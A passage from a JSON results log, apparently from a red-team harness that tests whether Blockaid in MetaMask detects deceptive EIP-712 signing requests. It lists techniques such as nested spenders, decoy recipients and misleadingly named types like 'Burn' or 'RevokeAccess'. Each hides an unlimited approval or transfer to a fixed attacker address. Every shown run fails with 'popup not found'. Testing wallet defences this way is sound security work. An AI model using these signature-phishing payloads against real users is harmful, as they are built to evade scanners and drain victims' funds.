"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:00:50.663Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:01:00.212Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:01:09.756Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:01:19.322Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:01:28.879Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:01:38.410Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:01:47.970Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:01:57.522Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:02:07.078Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:02:16.638Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:02:26.209Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:02:35.773Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:02:45.328Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:02:54.884Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:03:04.444Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN56-EIP3009-022", "timestamp": "2026-01-31T19:03:14.013Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x2b694e8ea40fdc89a4019445c7450f9d7b608a5d1e59ddf752c0ef00bc8dfe40\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN56-EIP3009-054", "timestamp": "2026-01-31T19:03:23.577Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb8f8ce7957e3c2e8d86bf11ad04cd8b1a54c71fa7e869d8454757b8e7a1fee9d\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:03:33.134Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:03:42.681Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 